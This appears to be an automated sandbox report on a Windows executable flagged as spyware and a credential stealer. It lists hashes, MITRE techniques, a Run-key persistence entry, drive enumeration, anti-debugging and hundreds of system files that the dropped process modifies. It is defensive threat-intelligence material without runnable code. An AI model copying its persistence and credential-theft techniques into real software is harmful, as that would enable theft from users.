7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01a

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27/09/2024, 21:58 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
Size

2.4MB
MD5

18a30dc10b5ec40019b53ba5c5170dd0
SHA1

a48365f3f9d8cfb5279bbeb58fb7fd652a662503
SHA256

7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01a
SHA512

63977dae26929f09adb4a4c8bb1cb8710a4e79be058d4f286c027b4c27c3c1e4771db73a3ef259b55a902861726f0096f9ad0ad0b48291a24b51e887566caa9f
SSDEEP

49152:GR/laMbYAp7s5nceEv7MuGOe4jPyTmE7ZIIKR01GSM8prnoo:GRNvpAceMjGL4jaCE7ZGCxh

Score

8^/10

discovery persistence spyware stealer

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\drivers\gmreadme.txt	smnss.exe

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x0008000000015cf1-11.dat	acprotect

Executes dropped EXE 2 IoCs

pid	Process
2244	ctfmen.exe
2808	smnss.exe

Loads dropped DLL 6 IoCs

pid	Process
2516	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
2516	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
2516	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
2244	ctfmen.exe
2244	ctfmen.exe
2808	smnss.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ctfmen = "C:\\Windows\\system32\\ctfmen.exe"	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ctfmen = "C:\\Windows\\system32\\ctfmen.exe"	smnss.exe

Enumerates connected drives 3 TTPs 19 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\V:	smnss.exe
File opened (read-only)	\??\G:	smnss.exe
File opened (read-only)	\??\Q:	smnss.exe
File opened (read-only)	\??\M:	smnss.exe
File opened (read-only)	\??\O:	smnss.exe
File opened (read-only)	\??\S:	smnss.exe
File opened (read-only)	\??\W:	smnss.exe
File opened (read-only)	\??\I:	smnss.exe
File opened (read-only)	\??\J:	smnss.exe
File opened (read-only)	\??\R:	smnss.exe
File opened (read-only)	\??\T:	smnss.exe
File opened (read-only)	\??\X:	smnss.exe
File opened (read-only)	\??\E:	smnss.exe
File opened (read-only)	\??\K:	smnss.exe
File opened (read-only)	\??\N:	smnss.exe
File opened (read-only)	\??\P:	smnss.exe
File opened (read-only)	\??\U:	smnss.exe
File opened (read-only)	\??\H:	smnss.exe
File opened (read-only)	\??\L:	smnss.exe

Maps connected drives based on registry 3 TTPs 6 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\1	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	smnss.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	smnss.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\1	smnss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_methods.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_split.help.txt	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpd1500t.xml	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnky009.inf_amd64_neutral_8e54c9ff272b72f1\Amd64\kyw7qur8.xml	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpl7600t.xml	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_Return.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\en-US\about_providers.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\fr-FR\about_Foreach.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\fr-FR\about_Path_Syntax.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\it-IT\about_Windows_PowerShell_ISE.help.txt	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpc3100t.xml	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpj6400t.xml	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_remote.help.txt	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpoa510t.xml	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_operators.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\it-IT\about_Assignment_Operators.help.txt	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp002.inf_amd64_neutral_04d05d1f6a90ea24\Amd64\HPF0450T.XML	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpf4100t.xml	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_eventlogs.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_locations.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\en-US\about_escape_characters.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\es-ES\about_data_sections.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\fr-FR\about_Language_Keywords.help.txt	smnss.exe
File opened for modification	C:\Windows\System32\catroot2\dberr.txt	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpoa820t.xml	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_logical_operators.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_remote_output.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\Microsoft.Wsman.Management.dll-Help.xml	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_Core_Commands.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_environment_variables.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\en-US\about_type_operators.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\es-ES\about_do.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\es-ES\about_Path_Syntax.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_objects.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\TroubleshootingPack\fr-FR\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll-Help.xml	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_functions_advanced.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_transactions.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_remote_troubleshooting.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_trap.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\en-US\about_pipelines.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\en-US\about_regular_expressions.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\fr-FR\about_Reserved_Words.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\it-IT\about_pipelines.help.txt	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnca00g.inf_amd64_neutral_6f76b14b2912fa55\Amd64\CNBX4PIPELINECONFIG.XML	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\de-DE\about_profiles.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_For.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_Windows_PowerShell_ISE.help.txt	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpoa620t.xml	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp004.inf_amd64_neutral_53f688945cfc24cc\Amd64\hpD5400t.xml	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\es-ES\about_type_operators.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\ja-JP\Microsoft.BackgroundIntelligentTransfer.Management.dll-Help.xml	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp002.inf_amd64_neutral_04d05d1f6a90ea24\Amd64\HPF4A63L.XML	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpd2500t.xml	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp002.inf_amd64_neutral_04d05d1f6a90ea24\Amd64\HPP8200T.XML	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp003.inf_amd64_neutral_4480210763997eb4\Amd64\hpc4340t.xml	smnss.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp004.inf_amd64_neutral_53f688945cfc24cc\Amd64\hpb8500t.xml	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\en-US\about_hash_tables.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\en-US\about_wildcards.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\es-ES\about_aliases.help.txt	smnss.exe
File created	C:\Windows\SysWOW64\satornas.dll	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\prnhp002.inf_amd64_neutral_04d05d1f6a90ea24\Amd64\HPO1600T.XML	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\fr-FR\about_remote.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\it-IT\about_trap.help.txt	smnss.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ja-JP\about_Redirection.help.txt	smnss.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs

pid	Process
2516	7748a7a6393fc9998d98fefcda3c23e4c313067f50f3965c20992b3daba0d01aN.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe
2808	smnss.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-progress.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Apothecary.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\it-IT\gadget.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\ja-JP\settings.html	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-services.xml	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs-nio2.xml	smnss.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\it-IT\gadget.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Office64.en-us\Office64MUISet.XML	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.CO.UK.XML	smnss.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\fr-FR\RSSFeeds.html	smnss.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-uisupport.xml	smnss.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Hardcover.xml	smnss.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\fr-FR\weather.html	smnss.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\es-ES\picturePuzzle.html	smnss.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\about.html	smnss.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Excel.en-us\SETUP.XML	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PROTTPLV.DOC	smnss.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bg.txt	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\asl-v20.txt	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL011.XML	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\GREETING.XML	smnss.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-ui.xml	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-execution.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\en-US\gadget.xml	smnss.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	smnss.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\web.xml	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-applemenu.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Newsprint.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\FormsBrowserUpgrade.html	smnss.exe
File opened for modification	C:\Program Files\Java\jre7\bin\server\Xusage.txt	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Composite.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\EXLIRMV.XML	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\EMAIL.XML	smnss.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\de-DE\calendar.html	smnss.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\de-DE\picturePuzzle.html	smnss.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz.txt	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-templates.xml	smnss.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\fr-FR\RSSFeeds.html	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Hardcover.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL020.XML	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN075.XML	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\epl-v10.html	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-jvm.xml	smnss.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\de-DE\gadget.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsBrowserUpgrade.html	smnss.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\index.html	smnss.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\de-DE\clock.html	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN108.XML	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-text.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Grayscale.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FormsBlankPage.html	smnss.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ipsen.xml	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-profiler.xml	smnss.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\mobile_equalizer.html	smnss.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\es-ES\gadget.xml	smnss.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\it-IT\weather.html	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Origin.xml	smnss.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\WORDREP.XML	smnss.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\RELEASE-NOTES.html	smnss.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-e..rtingcore.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_8dd8c4f40dc38dd9\erofflps.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_it-it_aa520d2885499112\about_aliases.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_it-it_b4a6b77ab9aa530d\about_Parsing.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_es-es_b8490213a810a8a5\403-7.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_e74ded66652fb660\404-1.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..econsumer.resources_31bf3856ad364e35_6.1.7600.16385_en-us_11b07c1bb446e787\Rules.System.Network.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_c02a16e1ae17ab94\System.Management.Automation.dll-Help.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_de-de_7f0b185800a159c3\about_script_internationalization.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\x86_netfx35linq-arrowheadsubsetlist_v20_31bf3856ad364e35_6.1.7600.16385_none_cbd9158b97c32b68\Client.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-g..edsgadget.resources_31bf3856ad364e35_6.1.7600.16385_it-it_13dfc4b03a7d762c\RSSFeeds.html	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-g..edsgadget.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_b60543bd2d988807\settings.html	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_5b0078129ae2bf07\403-4.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_es-es_1d72a0e2bb459532\about_Assignment_Operators.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_c02a16e1ae17ab94\about_History.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_prnhp002.inf_31bf3856ad364e35_6.1.7600.16385_none_2f4e6f72537f8faa\Amd64\HPO3200T.XML	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_de-de_7f0b185800a159c3\about_Arithmetic_Operators.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-gadgets-cpu.resources_31bf3856ad364e35_6.1.7600.16385_it-it_363407ad8b3bebcb\gadget.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..g-fdprint.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_fa129ec8610adf07\resource.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_c02a16e1ae17ab94\about_regular_expressions.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_4c778c357864a2ed\about_Path_Syntax.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-sharedaccess_31bf3856ad364e35_6.1.7600.16385_none_60c2504d62fd4f0e\ipcfg.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_4c778c357864a2ed\about_remote_FAQ.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-pcwdiagnostic_31bf3856ad364e35_6.1.7600.16385_none_5120bf8b19591afa\PCWDiagnostic.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_56cc3687acc564e8\about_remote.help.txt	smnss.exe
File opened for modification	C:\Windows\PLA\Reports\ja-JP\Report.System.Performance.xml	smnss.exe
File opened for modification	C:\Windows\servicing\Sessions\Sessions.back.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-g..zlegadget.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_a4c9c9294fb161c1\gadget.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_e74ded66652fb660\501.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_it-it_aa520d2885499112\about_Assignment_Operators.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_4c778c357864a2ed\about_environment_variables.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_prnhp002.inf_31bf3856ad364e35_6.1.7600.16385_none_2f4e6f72537f8faa\Amd64\HPC9500S.XML	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_en-us_27fbee50ef7f6588\about_Signing.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-g..s-weather.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_355dd017d9254149\weather.html	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b87da52fa7e9b700\403-16.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..econsumer.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_4080c452718ce6e7\Rules.System.Common.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1da743febb1ea38d\about_Foreach.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_c02a16e1ae17ab94\about_PSSnapins.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_es-es_27c74b34efa6572d\System.Management.Automation.dll-Help.xml	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_ca7ec133e2786d8f\about_wildcards.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\wow64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_it-it_b4a6b77ab9aa530d\about_script_internationalization.help.txt	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-g..howgadget.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_f86c44a49a61f132\settings.html	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_de-de_0f8ccf36b90bab3b\401.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-i..sbinaries.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_e74ded66652fb660\403-11.htm	smnss.exe
File opened for modification	C:\Windows\winsxs\amd64_microsoft-windows-p..ll-preloc.resources_31bf3856ad364e35_6.1.7600.16385_de-de_74b66e05cc4097c8\about_remote_FAQ.help.txt	smnss.exe
